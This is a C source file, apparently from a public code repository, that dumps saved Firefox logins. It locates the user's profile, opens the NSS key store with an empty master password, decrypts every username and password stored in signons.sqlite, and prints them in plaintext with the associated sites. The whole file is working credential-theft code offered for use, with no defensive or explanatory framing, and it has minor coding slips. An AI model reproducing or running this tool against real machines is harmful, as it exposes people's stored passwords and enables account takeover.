-
Notifications
You must be signed in to change notification settings - Fork 15
/
ff_key3db_dump.c
285 lines (231 loc) · 8.75 KB
/
ff_key3db_dump.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
/* http://fz-corp.net/?p=199*/
#ifdef UNICODE
#undef UNICODE
#endif
// this isn't the proper way to do it, but I added this to hopefully allow the app to work on both Windows and Linux
#define LINUX
#ifdef LINUX
#define MAX_PATH 300
#endif /* LINUX */
#ifndef LINUX
#define _CRT_SECURE_NO_WARNINGS
#endif /* LINUX */
#include <stdio.h>
#ifndef LINUX
#include <windows.h>
#include <shlobj.h>
#else
#include <stdlib.h>
#include <string.h>
#include "sqlite3.h"
#include "pk11pub.h"
#include "nssb64.h"
#include "pk11sdr.h"
#include "iniparser.h"
#endif /* LINUX */
#ifdef LINUX
char* pathSeparator = "/";
#define TRUE PR_TRUE
#else
char* pathSeparator = "\\";
#endif /*LINUX*/
#ifndef LINUX
typedef enum {
siBuffer,
siClearDataBuffer,
siCipherDataBuffer,
siDERCertBuffer,
siEncodedCertBuffer,
siDERNameBuffer,
siEncodedNameBuffer,
siAsciiNameString,
siAsciiString,
siDEROID
} SECItemType;
struct SECItemStr {
SECItemType type;
unsigned char *data;
unsigned int len;
};
typedef enum {
SECWouldBlock = -2,
SECFailure = -1,
SECSuccess = 0
} SECStatus;
typedef struct SECItemStr SECItem;
typedef SECStatus (*NSSInit)(char *);
typedef void *(*PK11GetInternalKeySlot)();
typedef SECStatus (*PK11SDRDecrypt)(SECItem *, SECItem *, void *);
typedef SECStatus (*NSSBase64DecodeBuffer)(void *ptr, SECItem *, char *, unsigned int);
typedef SECStatus (*PK11Authenticate)(void *, int, void *);
typedef SECStatus (*PK11CheckUserPassword)(void *, char *);
typedef SECStatus (*NSSShutdown)();
typedef void (*PK11FreeSlot)(void *);
NSSInit NSS_Init;
PK11GetInternalKeySlot PK11_GetInternalKeySlot;
PK11SDRDecrypt PK11SDR_Decrypt;
NSSBase64DecodeBuffer NSSBase64_DecodeBuffer;
PK11Authenticate PK11_Authenticate;
PK11CheckUserPassword PK11_CheckUserPassword;
NSSShutdown NSS_Shutdown;
PK11FreeSlot PK11_FreeSlot;
#endif /* LINUX */
int loadFirefoxLibraries() {
#ifndef LINUX
char pathFirefox[MAX_PATH];
char pathDll[MAX_PATH];
HMODULE moduleNSS;
SHGetSpecialFolderPath(0, pathFirefox, CSIDL_PROGRAM_FILES, FALSE);
strcat(pathFirefox, "\\Mozilla Firefox");
sprintf(pathDll, "%s\\%s", pathFirefox, "mozcrt19.dll");
if(!LoadLibrary(pathDll))
return 1;
sprintf(pathDll, "%s\\%s", pathFirefox, "sqlite3.dll");
if(!LoadLibrary(pathDll))
return 1;
sprintf(pathDll, "%s\\%s", pathFirefox, "nspr4.dll");
if(!LoadLibrary(pathDll))
return 1;
sprintf(pathDll, "%s\\%s", pathFirefox, "plc4.dll");
if(!LoadLibrary(pathDll))
return 1;
sprintf(pathDll, "%s\\%s", pathFirefox, "plds4.dll");
if(!LoadLibrary(pathDll))
return 1;
sprintf(pathDll, "%s\\%s", pathFirefox, "nssutil3.dll");
if(!LoadLibrary(pathDll))
return 1;
sprintf(pathDll, "%s\\%s", pathFirefox, "softokn3.dll");
if(!LoadLibrary(pathDll))
return 1;
sprintf(pathDll, "%s\\%s", pathFirefox, "nss3.dll");
if(!(moduleNSS = LoadLibrary(pathDll)))
return 1;
NSS_Init = (NSSInit)GetProcAddress(moduleNSS, "NSS_Init");
PK11_GetInternalKeySlot = (PK11GetInternalKeySlot)GetProcAddress(moduleNSS, "PK11_GetInternalKeySlot");
PK11_Authenticate = (PK11Authenticate)GetProcAddress(moduleNSS, "PK11_Authenticate");
PK11SDR_Decrypt = (PK11SDRDecrypt)GetProcAddress(moduleNSS, "PK11SDR_Decrypt");
NSSBase64_DecodeBuffer = (NSSBase64DecodeBuffer)GetProcAddress(moduleNSS, "NSSBase64_DecodeBuffer");
PK11_CheckUserPassword = (PK11CheckUserPassword)GetProcAddress(moduleNSS, "PK11_CheckUserPassword");
NSS_Shutdown = (NSSShutdown)GetProcAddress(moduleNSS, "NSS_Shutdown");
PK11_FreeSlot = (PK11FreeSlot)GetProcAddress(moduleNSS, "PK11_FreeSlot");
#endif /* LINUX */
return 0;
}
void PK11Decrypt(char *cipheredBuffer, char **plaintext) {
SECItem * request;
SECItem * reply;
unsigned int len = strlen(cipheredBuffer);
reply = SECITEM_AllocItem(NULL, NULL, 0);
request = NSSBase64_DecodeBuffer(NULL, NULL, cipheredBuffer, len);
PK11SDR_Decrypt(request, reply, NULL);
*plaintext = malloc(reply->len + 1);
strncpy(*plaintext, reply->data, reply->len);
(*plaintext)[reply->len] = '\0';
SECITEM_FreeItem(request, TRUE);
SECITEM_FreeItem(reply, TRUE);
}
int get_profile(char* pathProfilesIni, char* profile)
{
#ifdef LINUX
dictionary * ini;
ini = iniparser_load(pathProfilesIni);
if (ini==NULL) {
fprintf(stderr, "cannot parse file: %s\n", pathProfilesIni);
return -1;
}
char * s = iniparser_getstring(ini, "Profile0:Path", NULL);
int length = strlen(s);
strncpy(profile, s, length + 1);
iniparser_freedict(ini);
#else
GetPrivateProfileString("Profile0", "Path", "", profile, MAX_PATH, pathProfilesIni);
#endif /* LINUX */
// printf("Found profile2 path: %s\n", profile);
return 0;
}
int main(int argc, char **argv) {
sqlite3 *db;
char query[] = "SELECT * FROM moz_logins";
sqlite3_stmt *stmt;
char pathFirefoxData[MAX_PATH];
char pathProfilesIni[MAX_PATH];
char profile[MAX_PATH];
char pathProfile[MAX_PATH];
char pathSignons[MAX_PATH];
void *keySlot;
if(loadFirefoxLibraries()) {
fprintf(stderr, "loadFirefoxLibraries fails\r\n");
fflush(stderr);
return 1;
}
#ifndef LINUX
SHGetSpecialFolderPath(0, pathFirefoxData, CSIDL_APPDATA, FALSE);
strcat(pathFirefoxData, "\\Mozilla\\Firefox");
sprintf(pathProfilesIni, "%s\\profiles.ini", pathFirefoxData);
#else
char * home = getenv("HOME");
sprintf(pathFirefoxData, "%s/.mozilla/firefox", home);
sprintf(pathProfilesIni, "%s/profiles.ini", pathFirefoxData);
#endif /* LINUX */
get_profile(pathProfilesIni, profile);
sprintf(pathProfile, "%s%s%s", pathFirefoxData, pathSeparator, profile);
sprintf(pathSignons, "%s%ssignons.sqlite", pathProfile, pathSeparator, pathProfile);
/*
printf("home\t%s\n", home);
printf("pathProfile\t%s\n", pathProfile);
printf("pathSignons\t%s\n", pathSignons);
printf("pathProfilesIni\t%s\n", pathProfilesIni);
printf("\n\n");
*/
if(NSS_Init(pathProfile) != SECSuccess) {
fprintf(stderr, "NSS_Init fails\r\n");
fflush(stderr);
return 1;
}
if((keySlot = PK11_GetInternalKeySlot()) == NULL) {
fprintf(stderr, "PK11_GetInternalKeySlot fails\r\n");
fflush(stderr);
return 1;
}
if(PK11_CheckUserPassword(keySlot, "") != SECSuccess) {
fprintf(stderr, "PK11_CheckUserPassword fails\r\n");
fflush(stderr);
return 1;
}
if(PK11_Authenticate(keySlot, TRUE, NULL) != SECSuccess) {
fprintf(stderr, "PK11_Authenticate fails\r\n");
fflush(stderr);
return 1;
}
if(sqlite3_open(pathSignons, &db) != SQLITE_OK) {
fprintf(stderr, "sqlite3_open fails : %s\r\n", sqlite3_errmsg(db));
fflush(stderr);
return 1;
}
if(sqlite3_prepare_v2(db, query, sizeof(query), &stmt, NULL) != SQLITE_OK) {
fprintf(stderr, "sqlite3_prepare fails : %s\r\n", sqlite3_errmsg(db));
fflush(stderr);
return 1;
}
while(sqlite3_step(stmt) == SQLITE_ROW) {
char *hostname = (char *)sqlite3_column_text(stmt, 1);
char *httpRealm = (char *)sqlite3_column_text(stmt, 2);
char *formSubmitURL = (char *)sqlite3_column_text(stmt, 3);
char *usernameField = (char *)sqlite3_column_text(stmt, 4);
char *passwordField = (char *)sqlite3_column_text(stmt, 5);
char *cipheredLogin = (char *)sqlite3_column_text(stmt, 6);
char *cipheredPassword = (char *)sqlite3_column_text(stmt, 7);
char *plaintextLogin, *plaintextPassword;
PK11Decrypt(cipheredLogin, &plaintextLogin);
PK11Decrypt(cipheredPassword, &plaintextPassword);
printf("%s,%s,%s,%s,%s,%s,%s\r\n", hostname, httpRealm, formSubmitURL, usernameField, passwordField, plaintextLogin, plaintextPassword);
free(plaintextLogin);
free(plaintextPassword);
}
sqlite3_finalize(stmt);
sqlite3_close(db);
PK11_FreeSlot(keySlot);
NSS_Shutdown();
return 0;
}